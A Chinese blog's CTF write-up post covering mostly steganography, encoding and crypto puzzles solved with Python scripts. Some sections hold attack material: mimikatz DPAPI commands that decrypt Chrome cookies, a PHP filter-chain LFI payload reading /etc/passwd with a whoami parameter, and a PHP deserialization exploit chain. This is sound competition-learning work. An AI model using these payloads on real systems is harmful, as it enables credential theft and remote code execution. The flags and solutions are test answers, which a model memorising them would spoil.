{"id":2999,"date":"2023-12-08T20:53:27","date_gmt":"2023-12-08T12:53:27","guid":{"rendered":"https:\/\/fushuling.com\/?p=2999"},"modified":"2024-06-23T16:28:14","modified_gmt":"2024-06-23T08:28:14","slug":"%e4%b8%80%e4%ba%9b%e8%b5%9b%e9%a2%98","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/12\/08\/%e4%b8%80%e4%ba%9b%e8%b5%9b%e9%a2%98\/","title":{"rendered":"\u4e00\u4e9b\u8d5b\u9898"},"content":{"rendered":"\n

\u4eac\u9e9fCTF-SigninDCT<\/h2>\n\n\n\n

\u4e24\u4e2a\u9644\u4ef6\uff0c\u4e00\u4e2a\u662fhint_for_flag.txt\uff0c\u53e6\u4e00\u4e2a\u662f\u4e00\u4e2asecret.jpg\u3002hint_for_flag.txt\u5c31\u662f\u4e00\u4e2abase64 base32\u5957\u5a03\u7f16\u7801\u7684\u6587\u672c\uff0c\u5948\u4f55\u786e\u5b9e\u592a\u5927\u4e86\uff0c\u5de5\u5177\u52a0\u8f7d\u4e0d\u4e86\uff0c\u53ea\u80fd\u81ea\u5df1\u5199\u811a\u672c<\/p>\n\n\n\n

import base64\n\ndef base32_or_base64_decode(encoded_str):\n    try:\n        # \u5c1d\u8bd5 base32 \u89e3\u7801\n        decoded_bytes = base64.b32decode(encoded_str)\n        decoded_str = decoded_bytes.decode('utf-8')\n        return decoded_str, \"base32\"\n    except base64.binascii.Error:\n        try:\n            # \u5c1d\u8bd5 base64 \u89e3\u7801\n            decoded_bytes = base64.b64decode(encoded_str)\n            decoded_str = decoded_bytes.decode('utf-8')\n            return decoded_str, \"base64\"\n        except base64.binascii.Error:\n            return None, None\n\ndef main():\n    # \u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\n    with open('hint_for_flag.txt', 'r') as file:\n        encoded_str = file.read().strip()\n    flag=''\n    result = []\n    # \u5faa\u73af\u5c1d\u8bd5\u89e3\u7801\uff0c\u76f4\u5230\u65e0\u6cd5\u89e3\u7801\u4e3a\u6b62\n    while True:\n        decoded_str, encoding_type = base32_or_base64_decode(encoded_str)\n        if decoded_str is not None:\n            print(f\"\u6587\u4ef6\u5185\u5bb9\u7ecf\u8fc7 {encoding_type} \u7f16\u7801\uff0c\u89e3\u7801\u7ed3\u679c\uff1a\", decoded_str)\n            if encoding_type==\"base64\":\n                flag+=str(1)\n            elif encoding_type=='base32':\n                flag+=str(0)\n            encoded_str = decoded_str  # \u7ee7\u7eed\u89e3\u7801\n        else:\n            print(\"\u65e0\u6cd5\u786e\u5b9a\u7f16\u7801\u65b9\u5f0f\u6216\u89e3\u7801\u5931\u8d25\u3002\")\n            print(flag)\n            break\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n
\u6587\u4ef6\u5185\u5bb9\u7ecf\u8fc7 base64 \u7f16\u7801\uff0c\u89e3\u7801\u7ed3\u679c\uff1a\nIf you are reading this passage, you should have obtained the last part of the flag in the format `...}` Wait... You're saying you didn't find it? Close the file and consider how you acquired this passage.\nThe other part of flag hide in the dct domain of secret.jpg. I hide it in a VERY EASY WAY as follows, so python\/matlab is more useful than other tools.\n`1 if (4, 1) > (2, 3) else 0`\n\n\u65e0\u6cd5\u786e\u5b9a\u7f16\u7801\u65b9\u5f0f\u6216\u89e3\u7801\u5931\u8d25\u3002\n0110100110010001100111111101<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u4e8c\u8fdb\u5236\u662f28\u4f4d\uff0c\u6240\u4ee5\u662f4x7bit\uff0c7\u4f4d\u4e00\u7ec4<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7528\u63d0\u793a\u76841 if (4, 1) > (2, 3) else 0\u8dd1dct\u7684\u6570\u636e<\/p>\n\n\n\n
import numpy as np\nfrom math import *\nimport cv2\nimg = np.float64(cv2.imread(\"secret.jpg\", 0))\nprint(img)\nflag = \"\"\nfor i in range(64):\n    for j in range(64):\n        out = img[8*i:8*i+8, 8*j:8*j+8]\n        # print(out)\n        dctt = cv2.dct(out)\n        data = 1 if dctt[3, 0] > dctt[1, 2] else 0\n        flag += str(data)\n\nprint(flag)<\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u6bcf\u516b\u4f4d\u8f6c\u4e00\u4e0b<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f3a\u7f51\u62df\u6001\u7ebf\u4e0b-Git gud<\/h2>\n\n\n\n
zsteg -a attachment.png <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u901a\u9053\u85cf\u4e86\u4e1c\u897f\uff0c\u5bfc\u51fa\u6765<\/p>\n\n\n\n
zsteg -e b8,a,lsb,xy attachment.png -> out.txt<\/code><\/pre>\n\n\n\n
\u5bfc\u51fa\u6765\u7684\u6587\u672c\u5927\u6982\u5c31\u662fVegetableThenManyPractice\u8fd9\u56db\u4e2a\u8bcd\u4e0d\u65ad\u91cd\u590d\uff0c\u76f4\u63a5\u89c6\u4f5c0123\uff0c\u56db\u8fdb\u5236\u8f6c16\u8fdb\u5236(\u8fd9\u5c31\u662fmisc\u624b\u7684\u76f4\u89c9(*^_^*))<\/p>\n\n\n\n
\u8dd1\u8fd9\u4e2a\u811a\u672c\u7684\u65f6\u5019\u8bb0\u5f97\u628aIfYouCan’tAffordToLoseThenDon’tPlay\u4ee5\u53ca\u540e\u9762\u7684\u4e71\u7801\u5220\u4e86\uff0c\u53ea\u7559\u90a3\u56db\u4e2a\u8bcd<\/p>\n\n\n\n
with open('out.txt', 'r') as f:\n    data = f.read().replace('Vegetable','0').replace('Then','1').replace('Many','2').replace('Practice','3').replace('\\n','')\nresult = ''\nfor i in range(0, len(data), 4):\n    nums = data[i:i+4] \n    decimal = int(''.join(nums), 4) \n    hexa = hex(decimal)[2:] \n    result+=hexa\n\nprint(result)\n#1b566567657461626c655468656e4d616e7950726163746963655468656e4d616e795468656e4d616e795468656e4d616e795072616374696365566567657461626c655468656e4d616e79566567657461626c655468656e5468656e4d616e795468656e50726163746963655468656e50726163746963654d616e7950726163746963655468656e4d616e79566567657461626c655468656e566567657461626c6550726163746963655468656e5072616374696365566567657461626c6550726163746963655468656e4d616e79566567657461626c655072616374696365566567657461626c65566567657461626c655468656e4d616e795468656e4d616e79566567657461626c655072616374696365566567657461626c655072616374696365566567657461626c655072616374696365566567657461626c654d616e79566567657461626c655072616374696365566567657461626c655468656e566567657461626c6550726163746963655468656e5072616374696365566567657461626c6550726163746963655468656e566567657461626c65566567657461626c655072616374696365566567657461626c65566567657461626c65566567657461626c6550726163746963655468656e4d616e79566567657461626c6550726163746963655468656e5468656e566567657461626c6550726163746963654d616e795468656e5468656e4d616e795468656e566567657461626c65566567657461626c6550726163746963655468656e566567657461626c655468656e4d616e79566567657461626c655072616374696365566567657461626c6550726163746963654d616e79566567657461626c65566567657461626c655072616374696365566567657461626c655468656e5468656e4d616e795468656e566567657461626c65566567657461626c6550726163746963655468656e566567657461626c655468656e4d616e79566567657461626c655468656e566567657461626c6550726163746963655468656e566567657461626c655468656e4d616e79566567657461626c654d616e79566567657461626c655072616374696365566567657461626c654d616e79566567657461626c6550726163746963655468656e4d616e79566567657461626c655072616374696365566567657461626c654d616e795468656e4d616e795468656e4d616e79566567657461626c6550726163746963655468656e5468656e566567657461626c655072616374696365566567657461626c65566567657461626c65566567657461626c655072616374696365566567657461626c654d616e79566567657461626c655072616374696365566567657461626c655468656e5468656e507261637469636550726163746963655468656e4966596f7543616e27744166666f7264546f4c6f73655468656e446f6e2774506c6179<\/code><\/pre>\n\n\n\n
from hex\u8f6c\u4e00\u4e0b\u53d1\u73b0\u8fd8\u662f\u4e00\u6837\u7684 \u5957\u5a03\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u90a3\u5c31\u518d\u8dd1\u4e00\u6b21\u5373\u53ef<\/p>\n\n\n\n
data = 'ThenManyThenManyThenManyPracticeVegetableThenManyVegetableThenThenManyThenPracticeThenPracticeManyPracticeThenManyVegetableThenVegetablePracticeThenPracticeVegetablePracticeThenManyVegetablePracticeVegetableVegetableThenManyThenManyVegetablePracticeVegetablePracticeVegetablePracticeVegetableManyVegetablePracticeVegetableThenVegetablePracticeThenPracticeVegetablePracticeThenVegetableVegetablePracticeVegetableVegetableVegetablePracticeThenManyVegetablePracticeThenThenVegetablePracticeManyThenThenManyThenVegetableVegetablePracticeThenVegetableThenManyVegetablePracticeVegetablePracticeManyVegetableVegetablePracticeVegetableThenThenManyThenVegetableVegetablePracticeThenVegetableThenManyVegetableThenVegetablePracticeThenVegetableThenManyVegetableManyVegetablePracticeVegetableManyVegetablePracticeThenManyVegetablePracticeVegetableManyThenManyThenManyVegetablePracticeThenThenVegetablePracticeVegetableVegetableVegetablePracticeVegetableManyVegetablePracticeVegetableThenThenPracticePracticeThen'.replace('Vegetable','0').replace('Then','1').replace('Many','2').replace('Practice','3').replace('\\n','')\nresult = ''\nfor i in range(0, len(data), 4):\n    nums = data[i:i+4] \n    decimal = int(''.join(nums), 4) \n    hexa = hex(decimal)[2:] \n    result+=hexa\nprint(bytes.fromhex(result).decode('utf-8'))\n#flag{a760f321740659d4c81d4a4b262f5021}<\/code><\/pre>\n\n\n\n
\u5f3a\u7f51\u62df\u6001\u7ebf\u4e0b-cyberpic<\/h2>\n\n\n\n
\u9644\u4ef6\u662fpng\u6570\u636e\u7ffb\u8f6c\u4e86\uff0c\u7ffb\u8f6c\u56de\u6765\u5373\u53ef<\/p>\n\n\n\n
content = open('flag.png','rb').read()\n\nwith open('flag2.png','wb') as f:\n    f.write(content[::-1])<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
zsteg\u770b\u5230\u4e00\u4e32aes\u5bc6\u6587<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
P0TK3KmCts9MZ1iohH04mgZXPz30FSRlQEaK6drCbH68jX92ul0Giv\/sRw9QbCBr<\/code><\/pre>\n\n\n\n
\u7136\u540e\u662f\u627ekey\uff0c\u56fe\u7247\u770b\u8d77\u6765\u5c31\u5f880101\uff0c\u63d0\u53d6\u4e00\u4e0b\uff0c\u5927\u6982\u5c31\u662f\u767d\u6761\u4e3a1\uff0c\u5176\u4f59\u4e3a0\uff0c\u62bd\u8c61\u7684\u662f\u8fd9\u91cc\u662f\u6bcf\u4e09\u4f4d\u53d6\u4e00\u6b21\u7136\u540e\u8f6c\u5b57\u7b26\u4e32\uff0c\u5f53\u7136\uff0c\u8fd9\u4e00\u70b9\u4e5f\u4e0d\u662f\u7eaf\u9760\u731c\uff0c\u53ef\u4ee5\u5206\u6790\u51fa\u6765\uff0c\u9996\u5148\uff0c\u56e0\u4e3a\u539f\u59cb\u63d0\u53d6\u7684\u4e8c\u8fdb\u5236\u6570\u636e\u662f384\u4f4d\uff0c\u4e5f\u5c31\u662f\u767d\u6761\u9ad8\u5ea6\uff0c\u4f46aes\u52a0\u5bc6key\u53ea\u6709128\/192\/256bits\u8fd9\u51e0\u79cd(\u6b7b\u53bb\u7684\u5bc6\u7801\u5b66\u77e5\u8bc6!)\uff0c\u6240\u4ee5\u662f\u6bcf\u4e09\u4f4d\u53d6\u4e00\u6b21\u6784\u9020384\/3=128bit<\/p>\n\n\n\n
from PIL import Image\nimg = Image.open('flag2.png')\nwidth = 5\nheight = 384 #384\u662f\u56fe\u7247\u6709\u767d\u6761\u7684\u9ad8\u5ea6\u90e8\u5206\ndata = \"\"\n\nfor y in range(height):\n    rgb = img.getpixel((width,y))\n    #\u53d6\u767d\u6761\u4e3a1\uff0c\u5176\u4f59\u4e3a0\n    if rgb == (255,255,255):\n        data += \"1\"\n    else:\n        data += \"0\"\nbindata = \"\"\nfor i in range(0,len(data),3):\n    bindata += data[i]\nprint(bindata)\nfor i in range(0,len(bindata),8):\n    print(chr(int(bindata[i:i+8],2)),end='')\n#00110001001100010011010000110101001100010011010000110001001110010011000100111001001110000011000100110000011010000110010101101110\n#1145141919810hen<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
cyberchef\u641e\u8fd9\u4e2a\u6709\u70b9\u86cb\u75bc\uff0c\u8981\u8f6c\u51e0\u6b21\uff0c\u5efa\u8bae\u968f\u4fbf\u627e\u4e2a\u5728\u7ebf\u5de5\u5177(https:\/\/the-x.cn\/cryptography\/Aes.aspx)<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
flag{9103d33366cc1193c81f55a06e34c5d2}<\/code><\/pre>\n\n\n\n
\u53e4\u5251\u5c71-i have the flag<\/h2>\n\n\n\n
https:\/\/github.com\/ruan777\/ctf\/blob\/master\/heidunbei2019\/readme.md<\/a><\/p>\n\n\n\n
a=[118, 108, 112, 115, 111, 104, 104, 103, 120, 52, 53, 54]\nb=''\nfor i in a:\n\tb+=chr(i-3)\nprint(b)\n#simpleedu123<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
flag{muWn9NU0H6erBN\/w+C7HVg}<\/p>\n\n\n\n
\u53e4\u5251\u5c71-\u5e78\u8fd0\u997c\u5e72<\/h2>\n\n\n\n
\u6211\u505a\u8fd9\u4e48\u5feb\u90fd\u624d\u4e8c\u8840\uff0c\u725b\u903c<\/p>\n\n\n\n
\u660e\u6587\u653b\u51fb\u89e3\u5f00\u538b\u7f29\u5305\uff0c\u5f97\u5230\u5bc6\u7801sv@1v3z<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5148\u89e3\u4e00\u4e0bntlm\u54c8\u5e0c\u5f97\u5230\u7528\u6237\u5bc6\u780154231<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u62ffsid\u89e3masterkey<\/p>\n\n\n\n
dpapi::masterkey \/in:e5f8e386-7041-4f16-b02d-304c71040126 \/sid:S-1-5-21-726299542-2485387390-1117163988-1001 \/password:54231 \/protected<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
7a4d2ffbb42d0a1ab46f0351260aef16cae699e03e9d6514b3bf10e2977c5d228fda4a48e39b7b8a06a443c39653c2a3c3656596e7edc84e1c9682511c8343ac<\/code><\/pre>\n\n\n\n
\u7528masterkey\u53ef\u4ee5\u76f4\u63a5\u89e3Cookies<\/p>\n\n\n\n
dpapi::chrome \/in:Cookies \/masterkey: 7a4d2ffbb42d0a1ab46f0351260aef16cae699e03e9d6514b3bf10e2977c5d228fda4a48e39b7b8a06a443c39653c2a3c3656596e7edc84e1c9682511c8343ac \/file:Cookies<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53e4\u5251\u5c71-jpginside<\/h2>\n\n\n\n
\u6539\u540e\u7f00\u4e3apyc\uff0c\u53cd\u7f16\u8bd1\u4e00\u624bhttps:\/\/tool.lu\/pyc\/<\/p>\n\n\n\n
#!\/usr\/bin\/env python\n# visit https:\/\/tool.lu\/pyc\/ for more information\n# Version: Python 2.7\n\nstore = [\n    141,\n    183,\n    139,\n    129,\n    116,\n    ...\n    49,\n    50]\nkey = raw_input('Please input the key:')\nwith open('excellent.jpg', 'wb') as jpg:\n    for i in range(len(store)):\n        jpg.write(chr(store[i] ^ ord(key[i % len(key)])))<\/code><\/pre>\n\n\n\n
\u73b0\u5728\u9700\u8981\u627e\u8fd9\u4e2akey\uff0c\u8fd9\u91cc\u6bd4\u8f83\u660e\u663e\uff0c\u56e0\u4e3a\u6700\u540e\u751f\u6210\u7684\u662f\u4e2ajpg\uff0c\u90a3\u4e48\u6700\u540e\u7684\u7ed3\u679c\u524d\u51e0\u4e2a\u5b57\u8282\u662f0xFF,0xD8,0xFF,0xE0,0x00,0x10,0x4A,0x46,0x49,0x46,0x00,0x01,0x01,0x01\uff0c\u7136\u540e\u5199\u4e2a\u811a\u672c\u8fd8\u539f\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
store = [\n    141,\n    183,\n    ...\n    49,\n    50]\nkey=[0xFF,0xD8,0xFF,0xE0,0x00,0x10,0x4A,0x46,0x49,0x46,0x00,0x01,0x01,0x01]\n\n\nfor i in range(len(key)):\n        print(chr(store[i] ^ key[i]))<\/code><\/pre>\n\n\n\n
\u5f97\u5230key=rotate1234!<\/p>\n\n\n\n
\u4ee3\u5165\u56de\u53bb\u628akey = raw_input(‘Please input the key:’)\u6539\u6210key=rotate1234!\u518d\u8dd1\u4e00\u904d\uff0c\u4f1a\u751f\u6210\u4e00\u4e2aexcellent.jpg\uff0c\u628a6B2F\u540e\u9762\u76846688\u6539504B\uff0c\u7136\u540e\u628a\u8fd9\u4e2a\u538b\u7f29\u5305\u63d0\u53d6\u51fa\u6765<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7528rotate1234!\u89e3\u5bc6\u538b\u7f29\u5305\uff0c\u5185\u5bb9\u662fjpek{39i0jf49229fie5j33f02403hj953012}\uff0crot13\u4e00\u4e0b\u5373\u53ef<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53e4\u5251\u5c71-\u6570\u72ec<\/h2>\n\n\n\n
gaps\u4e00\u628a\u68ad\uff0c\u76f4\u63a5\u81ea\u52a8\u62fc\u56fe\uff0c\u5b89\u88c5\u6559\u7a0b\uff1a\u3010CTF\u5de5\u5177\u3011\u81ea\u52a8\u62fc\u56fe\u5de5\u5177gaps\u7684\u5b89\u88c5\u4e0e\u4f7f\u7528<\/a>\uff0c\u90a3\u4e2amontage\u53ef\u4ee5\u4e0d\u7528\u88c5\uff0c\u6211\u4eec\u90fd\u62fc\u597d\u4e86\uff0c\u4e0d\u7528\u62fc\u56fe\u4e86\uff0c\u547d\u4ee4\u662f\uff1a<\/p>\n\n\n\n
gaps run .\/image.png new.png --generations=81 --population=40 --size=70\n#generations\u6307\u7684\u7247\u6570\uff0c\u6bd4\u5982\u8fd9\u91cc\u6211\u4eec\u67099x9=9=81\u7247\n#population\u6307\u7684\u9057\u4f20\u7b97\u6cd5\u7684\u8fed\u4ee3\u6570\uff0c\u4e00\u822c\u4e0d\u7528\u53d8\uff0c\u5c31\u7b97\u591a\u4e86\u63d0\u524d\u62fc\u5b8c\u4e5f\u4f1a\u81ea\u5df1\u505c\u6b62\u7684\n#size\u6307\u7684\u662f\u6bcf\u7247\u7684\u5927\u5c0f\uff0c\u4e0d\u6307\u5b9a\u7684\u8bdd\u5c31\u662f\u81ea\u52a8\u8bc6\u522b\u7684\uff0c\u8fd9\u91cc\u7684\u8bdd\u5c31\u662f630\/9=70<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u611f\u89c9\u4e0d\u6307\u5b9asize\u81ea\u52a8\u8bc6\u522b\u51c6\u786e\u7387\u9ad8\u70b9\uff0c\u4f46\u8fd8\u662f\u5f97\u591a\u8dd1\u51e0\u6b21\uff0c\u4e0d\u7136\u4f1a\u62fc\u56fe\u6b63\u786e\u4f46flag\u5565\u7684\u4e71\u4e86<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53e4\u5251\u5c71-guess the key<\/h2>\n\n\n\n
https:\/\/blog.csdn.net\/qq_63923205\/article\/details\/130413090<\/a><\/p>\n\n\n\n
\u53e4\u5251\u5c71-Vigenere++<\/h2>\n\n\n\n
https:\/\/takuzoo3868.hatenablog.com\/entry\/seccon2017_online<\/a><\/p>\n\n\n\n
s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}\"\n\n\ndef _l(idx, s):\n    return s[idx:] + s[:idx]\n\n\ndef decrypt(ct, k1, k2):\n    s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}\"\n    t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]\n    i1 = 0\n    i2 = 0\n    decrypted = \"\"\n    for a in ct:\n        for c in s:\n            if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a:\n                decrypted += c\n                break\n        i1 = (i1 + 1) % len(k1)\n        i2 = (i2 + 1) % len(k2)\n    return decrypted\n\n\ndef encrypt(p, k1, k2):\n    t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]\n    i1 = 0\n    i2 = 0\n    c = \"\"\n    for a in p:\n        c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])]\n        i1 = (i1 + 1) % len(k1)\n        i2 = (i2 + 1) % len(k2)\n    return c\n\n\ndef recover_key(known_prefix, ciphertex):\n    final_key = ['*'] * 10\n    for pos in range(5):\n        for c in s:\n            partial_candidate_key = ['*'] * 10\n            partial_candidate_key[pos] = c\n            partial_candidate_key[9 - pos] = c\n            key = \"\".join(partial_candidate_key)\n            res = encrypt(known_prefix, key, key[::-1])\n            if res[pos] == ciphertex[pos]:\n                final_key[pos] = c\n                final_key[9 - pos] = c\n                print (\"\".join(final_key))\n    return \"\".join(final_key)\n\n\ndef main():\n    ciphertext = \"uDI86d6plhc7vnljrRpsBQtAF2}QkO\"\n    key = recover_key(\"flag{\", ciphertext)\n    flag = decrypt(ciphertext, key, key[::-1])\n    print(flag)\n\n\nmain()<\/code><\/pre>\n\n\n\n
\u53e4\u5251\u5c71-unse<\/h2>\n\n\n\n
https:\/\/www.cnblogs.com\/zzjdbk\/p\/13617530.html<\/a><\/p>\n\n\n\n
<?php\n    include(\".\/test.php\");\n    if(isset($_GET['fun'])){\n        if(justafun($_GET['fun'])){\n            include($_GET['fun']);\n        }\n    }else{\n        unserialize($_GET['yourcode']);\n    }\n    highlight_file(__FILE__);\n?><\/code><\/pre>\n\n\n\n
\u8fd9\u91ccinclude\u53ef\u4ee5\u76f4\u63a5\u6253\uff0c\u7528\u9646\u961f\u90a3\u4e2aLFI\u7684trick\uff0c\u4ec0\u4e48\uff1f\u4f60\u8fd8\u6ca1\u770b\u8fc7\uff1f\u5feb\u53bb\u671d\u5723\u2014\u2014hxp CTF 2021 – The End Of LFI?<\/a>(\u901f\u6765SU\u548c\u9646\u961f\u4e00\u8d77\u8d34\u8d34(\u9707\u58f0))<\/p>\n\n\n\n
?fun=php:\/\/filter\/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode\/resource=\/etc\/passwd&0=whoami;<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6b63\u89e3\u7684\u8bdd\u5e94\u8be5\u5148\u8bfb\u53d6test.php:<\/p>\n\n\n\n
?fun=php:\/\/filter\/read=convert.base64-encode\/resource=test.php<\/code><\/pre>\n\n\n\n
<?php  \n$test = \"Hello world\";\n\ninclude \"flag.php\";\n\n\nfunction justafun($filename){\n    $result = preg_match(\"\/flag|zlib|string\/i\", $filename);\n    if($result){\n        return FALSE;\n    }\n    return TRUE;\n}\n\nclass afun { \n    private $a; \n    function __wakeup(){ \n        $temp = $this->a . 'ctf'; \n    } \n} \n\nclass bfun { \n    private $items = array(); \n    public function __toString() { \n        $item = $this->items; \n        $str = $item['dd']->knife; \n        return 'what the good?'; \n    } \n} \n\nclass cfun { \n    private $params = array(); \n    public function __get($key) {  \n        global $flag;\n        $tmp = $this->params[$key];\n        var_dump($$tmp); \n    }\n}<\/code><\/pre>\n\n\n\n
<?php\nclass afun{\n    private $a;\n    function __construct()\n    {\n        $this->a = new bfun();\n    }\n\n}\nclass bfun{\n\n    private $items = array();\n    function __construct(){\n        $this->items = array(\"dd\"=>new cfun());\n    }\n}\n\nclass cfun{\n    private $params = array(\"knife\"=>\"flag\");\n}\necho serialize(new afun());\n#\u79c1\u6709\u53d8\u91cf\u52a0%00\uff1aO:4:\"afun\":1:{s:7:\"%00afun%00a\";O:4:\"bfun\":1:{s:11:\"%00bfun%00items\";a:1:{s:2:\"dd\";O:4:\"cfun\":1:{s:12:\"%00cfun%00params\";a:1:{s:5:\"knife\";s:4:\"flag\";}}}}}\n?><\/code><\/pre>\n\n\n\n
\u53e4\u5251\u5c71-upload_2_shell<\/h2>\n\n\n\n
2019\u56fd\u8d5b\u534e\u4e1c\u5317\u8d5b\u533a\u7ebf\u4e0b<\/a><\/p>\n\n\n\n
